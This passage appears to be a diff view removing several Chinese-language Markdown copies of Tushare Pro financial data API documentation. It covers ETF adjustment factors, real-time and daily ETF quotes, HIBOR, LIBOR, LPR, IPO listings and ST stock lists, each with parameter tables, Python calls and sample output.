2 159330.SZ 沪深300ETF基金 000300.SH 沪深300指数 SZ 西藏东财基金
3 159393.SZ 沪深300指数ETF 000300.SH 沪深300指数 SZ 万家基金
4 159673.SZ 沪深300ETF鹏华 000300.SH 沪深300指数 SZ 鹏华基金
5 159919.SZ 沪深300ETF 000300.SH 沪深300指数 SZ 嘉实基金
6 159925.SZ 沪深300ETF南方 000300.SH 沪深300指数 SZ 南方基金
7 159927.SZ 鹏华沪深300指数 000300.SH 沪深300指数 SZ 鹏华基金
8 510300.SH 沪深300ETF 000300.SH 沪深300指数 SH 华泰柏瑞基金
9 510310.SH 沪深300ETF易方达 000300.SH 沪深300指数 SH 易方达基金
10 510320.SH 沪深300ETF中金 000300.SH 沪深300指数 SH 中金基金
11 510330.SH 沪深300ETF华夏 000300.SH 沪深300指数 SH 华夏基金
12 510350.SH 沪深300ETF工银 000300.SH 沪深300指数 SH 工银瑞信基金
13 510360.SH 沪深300ETF基金 000300.SH 沪深300指数 SH 广发基金
14 510370.SH 300指数ETF 000300.SH 沪深300指数 SH 兴业基金
15 510380.SH 国寿300ETF 000300.SH 沪深300指数 SH 国寿安保基金
16 510390.SH 沪深300ETF平安 000300.SH 沪深300指数 SH 平安基金
17 515130.SH 沪深300ETF博时 000300.SH 沪深300指数 SH 博时基金
18 515310.SH 沪深300指数ETF 000300.SH 沪深300指数 SH 汇添富基金
19 515330.SH 沪深300ETF天弘 000300.SH 沪深300指数 SH 天弘基金
20 515350.SH 民生加银300ETF 000300.SH 沪深300指数 SH 民生加银基金
21 515360.SH 方正沪深300ETF 000300.SH 沪深300指数 SH 方正富邦基金
22 515380.SH 沪深300ETF泰康 000300.SH 沪深300指数 SH 泰康基金
23 515390.SH 沪深300ETF指数基金 000300.SH 沪深300指数 SH 华安基金
24 515660.SH 沪深300ETF国联安 000300.SH 沪深300指数 SH 国联安基金
25 515930.SH 永赢沪深300ETF 000300.SH 沪深300指数 SH 永赢基金
26 561000.SH 沪深300ETF增强基金 000300.SH 沪深300指数 SH 华安基金
27 561300.SH 300增强ETF 000300.SH 沪深300指数 SH 国泰基金
28 561930.SH 沪深300ETF招商 000300.SH 沪深300指数 SH 招商基金
29 561990.SH 沪深300增强ETF 000300.SH 沪深300指数 SH 招商基金
30 563520.SH 沪深300ETF永赢 000300.SH 沪深300指数 SH 永赢基金
```

View file

@ -1,130 +0,0 @@
# ETF复权因子
**文档ID**: 199
**原始链接**: https://tushare.pro/document/2?doc_id=199
---
## 基金复权因子
接口:fund_adj描述:获取基金复权因子,用于计算基金复权行情限量:单次最大提取2000行记录,可循环提取,数据总量不限制积分:用户积600积分可调取,超过5000积分以上频次相对较高。具体请参阅积分获取办法
复权行情实现参考:
后复权 = 当日最新价 × 当日复权因子前复权 = 当日最新价 ÷ 最新复权因子
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>TS基金代码(支持多只基金输入)</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(格式:yyyymmdd,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>offset</td>
<td>str</td>
<td>N</td>
<td>开始行数</td>
</tr>
<tr>
<td>limit</td>
<td>str</td>
<td>N</td>
<td>最大行数</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>ts基金代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>adj_factor</td>
<td>float</td>
<td>Y</td>
<td>复权因子</td>
</tr>
</tbody></table>
接口使用
```
pro = ts.pro_api()
df = pro.fund_adj(ts_code='513100.SH', start_date='20190101', end_date='20190926')
```
数据示例
```
ts_code trade_date adj_factor
0 513100.SH 20190926 1.0
1 513100.SH 20190925 1.0
2 513100.SH 20190924 1.0
3 513100.SH 20190923 1.0
4 513100.SH 20190920 1.0
5 513100.SH 20190919 1.0
6 513100.SH 20190918 1.0
7 513100.SH 20190917 1.0
8 513100.SH 20190916 1.0
9 513100.SH 20190912 1.0
10 513100.SH 20190911 1.0
11 513100.SH 20190910 1.0
12 513100.SH 20190909 1.0
13 513100.SH 20190906 1.0
14 513100.SH 20190905 1.0
15 513100.SH 20190904 1.0
16 513100.SH 20190903 1.0
17 513100.SH 20190902 1.0
18 513100.SH 20190830 1.0
19 513100.SH 20190829 1.0
20 513100.SH 20190828 1.0
```

View file

@ -1,159 +0,0 @@
# ETF实时日线
**文档ID**: 400
**原始链接**: https://tushare.pro/document/2?doc_id=400
---
## ETF实时日线
接口:rt_etf_k描述:获取ETF实时日k线行情,支持按ETF代码或代码通配符一次性提取全部ETF实时日k线行情积分:本接口是单独开权限的数据,单独申请权限请参考权限列表
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>支持通配符方式,e.g. 5*.SH、15*.SZ、159101.SZ</td>
</tr>
<tr>
<td>topic</td>
<td>str</td>
<td>Y</td>
<td>分类参数,取上海ETF时,需要输入'HQ_FND_TICK',参考下面例子</td>
</tr>
</tbody>
</table>
注:ts_code代码一定要带.SH/.SZ/.BJ后缀
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>ETF代码</td>
</tr>
<tr>
<td>name</td>
<td>None</td>
<td>Y</td>
<td>ETF名称</td>
</tr>
<tr>
<td>pre_close</td>
<td>float</td>
<td>Y</td>
<td>昨收价</td>
</tr>
<tr>
<td>high</td>
<td>float</td>
<td>Y</td>
<td>最高价</td>
</tr>
<tr>
<td>open</td>
<td>float</td>
<td>Y</td>
<td>开盘价</td>
</tr>
<tr>
<td>low</td>
<td>float</td>
<td>Y</td>
<td>最低价</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>收盘价(最新价)</td>
</tr>
<tr>
<td>vol</td>
<td>int</td>
<td>Y</td>
<td>成交量(股)</td>
</tr>
<tr>
<td>amount</td>
<td>int</td>
<td>Y</td>
<td>成交金额(元)</td>
</tr>
<tr>
<td>num</td>
<td>int</td>
<td>Y</td>
<td>开盘以来成交笔数</td>
</tr>
<tr>
<td>ask_volume1</td>
<td>int</td>
<td>N</td>
<td>委托卖盘(股)</td>
</tr>
<tr>
<td>bid_volume1</td>
<td>int</td>
<td>N</td>
<td>委托买盘(股)</td>
</tr>
<tr>
<td>trade_time</td>
<td>str</td>
<td>N</td>
<td>交易时间</td>
</tr>
</tbody>
</table>
接口示例
```
#获取今日所有深市ETF实时日线和成交笔数
df = pro.rt_etf_k(ts_code='1*.SZ')
#获取今日沪市所有ETF实时日线和成交笔数
df = pro.rt_etf_k(ts_code='5*.SH', topic='HQ_FND_TICK')
```
数据示例
```
ts_code name pre_close high open low close vol amount num
0 520860.SH 港股通科 1.024 1.054 1.048 1.041 1.048 15071600 15780985 307
1 515320.SH 电子50 1.173 1.211 1.184 1.184 1.206 1830600 2191339 98
2 511600.SH 货币ETF 100.008 100.003 100.002 99.999 100.000 12022 1202204 28
3 501075.SH 科创主题 2.350 2.400 2.357 2.357 2.400 4200 10040 11
4 589990.SH 科创板综 1.282 1.311 1.280 1.280 1.305 4178600 5413728 147
.. ... ... ... ... ... ... ... ... ... ...
933 516590.SH 电动汽车 1.244 1.277 1.252 1.252 1.270 1380800 1748398 79
934 502048.SH 50LOF 1.224 1.238 1.235 1.214 1.218 3200 3908 5
935 515850.SH 证券龙头 1.519 1.538 1.523 1.520 1.523 11460000 17484157 688
936 515790.SH 光伏ETF 0.912 0.929 0.919 0.910 0.923 411566128 379094370 14939
937 516190.SH 文娱ETF 1.137 1.154 1.151 1.146 1.151 1031700 1186303 87
```

View file

@ -1,156 +0,0 @@
# ETF日线行情
**文档ID**: 127
**原始链接**: https://tushare.pro/document/2?doc_id=127
---
## ETF日线行情
接口:fund_daily描述:获取ETF行情每日收盘后成交数据,历史超过10年限量:单次最大2000行记录,可以根据ETF代码和日期循环获取历史,总量不限制积分:需要至少5000积分才可以调取,5000积分频次更高,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>基金代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody>
</table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>TS代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>open</td>
<td>float</td>
<td>Y</td>
<td>开盘价(元)</td>
</tr>
<tr>
<td>high</td>
<td>float</td>
<td>Y</td>
<td>最高价(元)</td>
</tr>
<tr>
<td>low</td>
<td>float</td>
<td>Y</td>
<td>最低价(元)</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>收盘价(元)</td>
</tr>
<tr>
<td>pre_close</td>
<td>float</td>
<td>Y</td>
<td>昨收盘价(元)</td>
</tr>
<tr>
<td>change</td>
<td>float</td>
<td>Y</td>
<td>涨跌额(元)</td>
</tr>
<tr>
<td>pct_chg</td>
<td>float</td>
<td>Y</td>
<td>涨跌幅(%)</td>
</tr>
<tr>
<td>vol</td>
<td>float</td>
<td>Y</td>
<td>成交量(手)</td>
</tr>
<tr>
<td>amount</td>
<td>float</td>
<td>Y</td>
<td>成交额(千元)</td>
</tr>
</tbody>
</table>
接口示例
```
pro = ts.pro_api()
#获取”沪深300ETF华夏”ETF2025年以来的行情,并通过fields参数指定输出了部分字段
df = pro.fund_daily(ts_code='510330.SH', start_date='20250101', end_date='20250618', fields='trade_date,open,high,low,close,vol,amount')
```
数据示例
```
trade_date open high low close vol amount
0 20250618 4.008 4.024 3.996 4.017 382896.00 153574.446
1 20250617 4.015 4.022 4.000 4.014 440272.04 176617.125
2 20250616 4.000 4.018 3.996 4.015 423526.00 169788.251
3 20250613 4.023 4.028 3.992 4.004 1216787.53 487632.318
4 20250612 4.023 4.039 4.005 4.032 574727.00 231356.321
.. ... ... ... ... ... ... ...
104 20250108 3.971 3.992 3.908 3.963 3200416.00 1267465.456
105 20250107 3.939 3.974 3.929 3.973 2239739.00 885818.954
106 20250106 3.950 3.964 3.917 3.943 1583794.00 624004.760
107 20250103 4.002 4.013 3.944 3.963 2025111.00 805573.289
108 20250102 4.110 4.117 3.973 4.001 1768592.00 714820.885
```

View file

@ -1,168 +0,0 @@
# Hibor利率
**文档ID**: 153
**原始链接**: https://tushare.pro/document/2?doc_id=153
---
## Hibor利率
接口:hibor描述:Hibor利率限量:单次最大4000行数据,总量不限制,可通过设置开始和结束日期分段获取积分:用户积累120积分可以调取,具体请参阅积分获取办法
HIBOR (Hongkong InterBank Offered Rate),是香港银行同行业拆借利率。指香港货币市场上,银行与银行之间的一年期以下的短期资金借贷利率,从伦敦同业拆借利率(LIBOR)变化出来的。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>N</td>
<td>日期 (日期输入格式:YYYYMMDD,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>Y</td>
<td>日期</td>
</tr>
<tr>
<td>on</td>
<td>float</td>
<td>Y</td>
<td>隔夜</td>
</tr>
<tr>
<td>1w</td>
<td>float</td>
<td>Y</td>
<td>1周</td>
</tr>
<tr>
<td>2w</td>
<td>float</td>
<td>Y</td>
<td>2周</td>
</tr>
<tr>
<td>1m</td>
<td>float</td>
<td>Y</td>
<td>1个月</td>
</tr>
<tr>
<td>2m</td>
<td>float</td>
<td>Y</td>
<td>2个月</td>
</tr>
<tr>
<td>3m</td>
<td>float</td>
<td>Y</td>
<td>3个月</td>
</tr>
<tr>
<td>6m</td>
<td>float</td>
<td>Y</td>
<td>6个月</td>
</tr>
<tr>
<td>12m</td>
<td>float</td>
<td>Y</td>
<td>12个月</td>
</tr>
</tbody></table>
接口调用
```
pro = ts.pro_api()
df = pro.hibor(start_date='20180101', end_date='20181130')
```
数据样例
```
date on 1w 2w 1m 2m 3m 6m \
0 20181130 1.52500 1.10125 1.08000 1.20286 1.83030 2.03786 2.32821
1 20181129 0.76143 0.95643 1.01036 1.12357 1.80493 2.01018 2.31643
2 20181128 0.66786 0.95607 0.99929 1.10964 1.77104 1.97643 2.30143
3 20181127 0.71357 0.95536 0.99786 1.09321 1.76321 1.98351 2.30374
4 20181126 0.68821 0.92821 0.99107 1.08214 1.75161 1.97742 2.29957
5 20181123 0.68571 0.84000 0.91036 1.08214 1.75304 1.97591 2.30088
6 20181122 0.47161 0.59750 0.76750 1.01214 1.73125 1.96500 2.29250
7 20181121 0.36893 0.56571 0.74429 0.98929 1.71071 1.96569 2.29286
8 20181120 0.38964 0.58214 0.75464 1.01107 1.70839 1.96571 2.28893
9 20181119 0.39672 0.59893 0.77464 1.04143 1.71143 1.96643 2.28643
10 20181116 0.44429 0.60321 0.75214 1.04429 1.71500 1.96750 2.28893
11 20181115 0.39179 0.63571 0.77857 1.04627 1.71722 1.97607 2.28697
12 20181114 0.34571 0.64026 0.78821 1.06393 1.72875 2.00000 2.29554
13 20181113 0.59232 0.82643 0.91643 1.09286 1.77786 2.06920 2.30982
14 20181112 0.53571 0.75419 0.83321 1.03536 1.75734 2.08286 2.29929
15 20181109 0.51571 0.75393 0.83321 1.03464 1.76018 2.08179 2.30283
16 20181108 0.60536 0.75293 0.85179 1.03357 1.75866 2.08107 2.29907
17 20181107 0.58071 0.72679 0.83107 1.04714 1.74804 2.08467 2.30446
18 20181106 0.48714 0.67750 0.78786 1.02536 1.72821 2.08071 2.30589
19 20181105 0.44929 0.68500 0.80214 1.04321 1.72500 2.08179 2.31941
20 20181102 0.45571 0.73542 0.87679 1.10536 1.73732 2.10018 2.33276
12m
0 2.65929
1 2.65500
2 2.65643
3 2.65571
4 2.65446
5 2.65375
6 2.64750
7 2.64618
8 2.63946
9 2.63960
10 2.64321
11 2.64286
12 2.64857
13 2.66286
14 2.65607
15 2.65857
16 2.65357
17 2.65596
18 2.65464
19 2.65857
20 2.67857
```

View file

@ -1,162 +0,0 @@
# IPO新股上市
**文档ID**: 123
**原始链接**: https://tushare.pro/document/2?doc_id=123
---
## IPO新股列表
接口:new_share描述:获取新股上市列表数据限量:单次最大2000条,总量不限制积分:用户需要至少120积分才可以调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>上网发行开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>上网发行结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>TS股票代码</td>
</tr>
<tr>
<td>sub_code</td>
<td>str</td>
<td>Y</td>
<td>申购代码</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>名称</td>
</tr>
<tr>
<td>ipo_date</td>
<td>str</td>
<td>Y</td>
<td>上网发行日期</td>
</tr>
<tr>
<td>issue_date</td>
<td>str</td>
<td>Y</td>
<td>上市日期</td>
</tr>
<tr>
<td>amount</td>
<td>float</td>
<td>Y</td>
<td>发行总量(万股)</td>
</tr>
<tr>
<td>market_amount</td>
<td>float</td>
<td>Y</td>
<td>上网发行总量(万股)</td>
</tr>
<tr>
<td>price</td>
<td>float</td>
<td>Y</td>
<td>发行价格</td>
</tr>
<tr>
<td>pe</td>
<td>float</td>
<td>Y</td>
<td>市盈率</td>
</tr>
<tr>
<td>limit_amount</td>
<td>float</td>
<td>Y</td>
<td>个人申购上限(万股)</td>
</tr>
<tr>
<td>funds</td>
<td>float</td>
<td>Y</td>
<td>募集资金(亿元)</td>
</tr>
<tr>
<td>ballot</td>
<td>float</td>
<td>Y</td>
<td>中签率</td>
</tr>
</tbody></table>
接口示例
```
pro = ts.pro_api()
df = pro.new_share(start_date='20180901', end_date='20181018')
```
数据示例
```
ts_code sub_code name ipo_date issue_date amount market_amount \
0 002939.SZ 002939 长城证券 20181017 None 31034.0 27931.0
1 002940.SZ 002940 昂利康 20181011 20181023 2250.0 2025.0
2 601162.SH 780162 天风证券 20181009 20181019 51800.0 46620.0
3 300694.SZ 300694 蠡湖股份 20180927 20181015 5383.0 4845.0
4 300760.SZ 300760 迈瑞医疗 20180927 20181016 12160.0 10944.0
5 300749.SZ 300749 顶固集创 20180913 20180925 2850.0 2565.0
6 002937.SZ 002937 兴瑞科技 20180912 20180926 4600.0 4140.0
7 601577.SH 780577 长沙银行 20180912 20180926 34216.0 30794.0
8 603583.SH 732583 捷昌驱动 20180911 20180921 3020.0 2718.0
9 002936.SZ 002936 郑州银行 20180907 20180919 60000.0 54000.0
10 300748.SZ 300748 金力永磁 20180906 20180921 4160.0 3744.0
11 603810.SH 732810 丰山集团 20180906 20180917 2000.0 2000.0
12 002938.SZ 002938 鹏鼎控股 20180905 20180918 23114.0 20803.0
price pe limit_amount funds ballot
0 6.31 22.98 9.30 19.582 0.16
1 23.07 22.99 0.90 5.191 0.03
2 1.79 22.86 15.50 0.000 0.25
3 9.89 22.98 2.15 5.324 0.04
4 48.80 22.99 3.60 59.341 0.08
5 12.22 22.99 1.10 3.483 0.03
6 9.94 22.99 1.80 4.572 0.04
7 7.99 6.97 10.20 27.338 0.17
8 29.17 22.99 1.20 8.809 0.03
9 4.59 6.50 18.00 27.540 0.25
10 5.39 22.98 1.20 2.242 0.05
11 25.43 20.39 2.00 5.086 0.02
12 16.07 22.99 6.90 37.145 0.12
```

View file

@ -1,116 +0,0 @@
# LPR贷款基础利率
**文档ID**: 151
**原始链接**: https://tushare.pro/document/2?doc_id=151
---
## LPR贷款基础利率
接口:shibor_lpr描述:LPR贷款基础利率限量:单次最大4000(相当于单次可提取18年历史),总量不限制,可通过设置开始和结束日期分段获取积分:用户积累120积分可以调取,具体请参阅积分获取办法
LPR介绍
贷款基础利率(Loan Prime Rate,简称LPR),是基于报价行自主报出的最优贷款利率计算并发布的贷款市场参考利率。目前,对社会公布1年期贷款基础利率。
LPR报价银行团现由10家商业银行组成。报价银行应符合财务硬约束条件和宏观审慎政策框架要求,系统重要性程度高、市场影响力大、综合实力强,已建立内部收益率曲线和内部转移定价机制,具有较强的自主定价能力,已制定本行贷款基础利率管理办法,以及有利于开展报价工作的其他条件。市场利率定价自律机制依据《贷款基础利率集中报价和发布规则》确定和调整报价行成员,监督和管理贷款基础利率运行,规范报价行与指定发布人行为。
全国银行间同业拆借中心受权贷款基础利率的报价计算和信息发布。每个交易日根据各报价行的报价,剔除最高、最低各1家报价,对其余报价进行加权平均计算后,得出贷款基础利率报价平均利率,并于11:30对外发布。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>N</td>
<td>日期 (日期输入格式:YYYYMMDD,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>Y</td>
<td>日期</td>
</tr>
<tr>
<td>1y</td>
<td>float</td>
<td>Y</td>
<td>1年贷款利率</td>
</tr>
<tr>
<td>5y</td>
<td>float</td>
<td>Y</td>
<td>5年贷款利率</td>
</tr>
</tbody></table>
接口调用
```
pro = ts.pro_api()
df = pro.shibor_lpr(start_date='20180101', end_date='20181130', fields='date,1y')
```
数据样例
```
date 1y
0 20181130 4.31
1 20181129 4.31
2 20181128 4.31
3 20181127 4.31
4 20181126 4.31
5 20181123 4.31
6 20181122 4.31
7 20181121 4.31
8 20181120 4.31
9 20181119 4.31
10 20181116 4.31
11 20181115 4.31
12 20181114 4.31
13 20181113 4.31
14 20181112 4.31
15 20181109 4.31
16 20181108 4.31
17 20181107 4.31
18 20181106 4.31
19 20181105 4.31
20 20181102 4.31
```

View file

@ -1,174 +0,0 @@
# Libor利率
**文档ID**: 152
**原始链接**: https://tushare.pro/document/2?doc_id=152
---
## Libor拆借利率
接口:libor描述:Libor拆借利率限量:单次最大4000行数据,总量不限制,可通过设置开始和结束日期分段获取积分:用户积累120积分可以调取,具体请参阅积分获取办法
Libor(London Interbank Offered Rate ),即伦敦同业拆借利率,是指伦敦的第一流银行之间短期资金借贷的利率,是国际金融市场中大多数浮动利率的基础利率。作为银行从市场上筹集资金进行转贷的融资成本,贷款协议中议定的LIBOR通常是由几家指定的参考银行,在规定的时间(一般是伦敦时间上午11:00)报价的平均利率。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>N</td>
<td>日期 (日期输入格式:YYYYMMDD,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>curr_type</td>
<td>str</td>
<td>N</td>
<td>货币代码 (USD美元 EUR欧元 JPY日元 GBP英镑 CHF瑞郎,默认是USD)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>Y</td>
<td>日期</td>
</tr>
<tr>
<td>curr_type</td>
<td>str</td>
<td>Y</td>
<td>货币</td>
</tr>
<tr>
<td>on</td>
<td>float</td>
<td>Y</td>
<td>隔夜</td>
</tr>
<tr>
<td>1w</td>
<td>float</td>
<td>Y</td>
<td>1周</td>
</tr>
<tr>
<td>1m</td>
<td>float</td>
<td>Y</td>
<td>1个月</td>
</tr>
<tr>
<td>2m</td>
<td>float</td>
<td>Y</td>
<td>2个月</td>
</tr>
<tr>
<td>3m</td>
<td>float</td>
<td>Y</td>
<td>3个月</td>
</tr>
<tr>
<td>6m</td>
<td>float</td>
<td>Y</td>
<td>6个月</td>
</tr>
<tr>
<td>12m</td>
<td>float</td>
<td>Y</td>
<td>12个月</td>
</tr>
</tbody></table>
接口调用
```
pro = ts.pro_api()
df = pro.libor(curr_type='USD', start_date='20180101', end_date='20181130')
```
数据样例
```
date curr_type on 1w 1m 2m 3m 6m \
0 20181130 USD 2.17750 2.22131 2.34694 2.51006 2.73613 2.89463
1 20181129 USD 2.18275 2.22881 2.34925 2.51125 2.73813 2.88519
2 20181128 USD 2.18250 2.22450 2.34463 2.49500 2.70663 2.88663
3 20181127 USD 2.17850 2.23494 2.34931 2.49900 2.70600 2.88444
4 20181126 USD 2.18300 2.21900 2.33675 2.49525 2.70681 2.89275
5 20181123 USD 2.17700 2.22188 2.32188 2.49538 2.69119 2.88625
6 20181122 USD NaN 2.22213 2.31488 2.48013 2.68925 2.88725
7 20181121 USD 2.18050 2.22100 2.31513 2.47313 2.67694 2.88588
8 20181120 USD 2.17288 2.21638 2.30550 2.45850 2.65313 2.86325
9 20181119 USD 2.18075 2.21725 2.30025 2.45769 2.64581 2.86575
10 20181116 USD 2.17538 2.21225 2.30088 2.45213 2.64450 2.86263
11 20181115 USD 2.17938 2.21125 2.30250 2.44913 2.64000 2.86019
12 20181114 USD 2.17575 2.20963 2.31038 2.44531 2.62900 2.86344
13 20181113 USD 2.17788 2.21613 2.30650 2.44413 2.61613 2.85500
14 20181112 USD NaN 2.21550 2.30663 2.44525 2.61413 2.85538
15 20181109 USD 2.17500 2.21913 2.31438 2.45513 2.61813 2.85800
16 20181108 USD 2.17988 2.21619 2.31844 2.45863 2.61463 2.85763
17 20181107 USD 2.17725 2.21588 2.31531 2.44550 2.60113 2.84350
18 20181106 USD 2.17663 2.21138 2.31688 2.42863 2.59125 2.84150
19 20181105 USD 2.17525 2.21425 2.31600 2.42950 2.58925 2.83575
20 20181102 USD 2.17463 2.21400 2.31788 2.42625 2.59238 2.82888
12m
0 3.12025
1 3.11869
2 3.13413
3 3.13075
4 3.12838
5 3.12075
6 3.10950
7 3.11038
8 3.09713
9 3.10738
10 3.12363
11 3.11838
12 3.12963
13 3.13206
14 3.13475
15 3.14413
16 3.14075
17 3.12513
18 3.11638
19 3.11688
20 3.10488
```

View file

@ -1,118 +0,0 @@
# ST股票列表
**文档ID**: 397
**原始链接**: https://tushare.pro/document/2?doc_id=397
---
## ST股票列表
接口:stock_st,可以通过数据工具调试和查看数据。描述:获取ST股票列表,可根据交易日期获取历史上每天的ST列表权限:3000积分起提示:每天上午9:20更新,单次请求最大返回1000行数据,可循环提取,本接口数据从20160101开始,太早历史无法补齐
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(格式:YYYYMMDD下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始时间</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束时间</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代码</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>股票名称</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>type</td>
<td>str</td>
<td>Y</td>
<td>类型</td>
</tr>
<tr>
<td>type_name</td>
<td>str</td>
<td>Y</td>
<td>类型名称</td>
</tr>
</tbody></table>
接口用法
```
pro = ts.pro_api()
#获取20250813日所有的ST股票
df = pro.stock_st(trade_date='20250813')
```
数据样例
```
ts_code name trade_date type type_name
0 300313.SZ *ST天山 20250813 ST 风险警示板
1 605081.SH *ST太和 20250813 ST 风险警示板
2 300391.SZ *ST长药 20250813 ST 风险警示板
3 300343.SZ ST联创 20250813 ST 风险警示板
4 300044.SZ ST赛为 20250813 ST 风险警示板
.. ... ... ... ... ...
170 300175.SZ ST朗源 20250813 ST 风险警示板
171 603721.SH *ST天择 20250813 ST 风险警示板
172 600289.SH ST信通 20250813 ST 风险警示板
173 000929.SZ *ST兰黄 20250813 ST 风险警示板
174 000638.SZ *ST万方 20250813 ST 风险警示板
```

View file

@ -1,151 +0,0 @@
# Shibor利率
**文档ID**: 149
**原始链接**: https://tushare.pro/document/2?doc_id=149
---
## Shibor利率数据
接口:shibor描述:shibor利率限量:单次最大2000,总量不限制,可通过设置开始和结束日期分段获取积分:用户积累120积分可以调取,具体请参阅积分获取办法
Shibor利率介绍
上海银行间同业拆放利率(Shanghai Interbank Offered Rate,简称Shibor),以位于上海的全国银行间同业拆借中心为技术平台计算、发布并命名,是由信用等级较高的银行组成报价团自主报出的人民币同业拆出利率计算确定的算术平均利率,是单利、无担保、批发性利率。目前,对社会公布的Shibor品种包括隔夜、1周、2周、1个月、3个月、6个月、9个月及1年。
Shibor报价银行团现由18家商业银行组成。报价银行是公开市场一级交易商或外汇市场做市商,在中国货币市场上人民币交易相对活跃、信息披露比较充分的银行。中国人民银行成立Shibor工作小组,依据《上海银行间同业拆放利率(Shibor)实施准则》确定和调整报价银行团成员、监督和管理Shibor运行、规范报价行与指定发布人行为。
全国银行间同业拆借中心受权Shibor的报价计算和信息发布。每个交易日根据各报价行的报价,剔除最高、最低各4家报价,对其余报价进行算术平均计算后,得出每一期限品种的Shibor,并于11:00对外发布。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
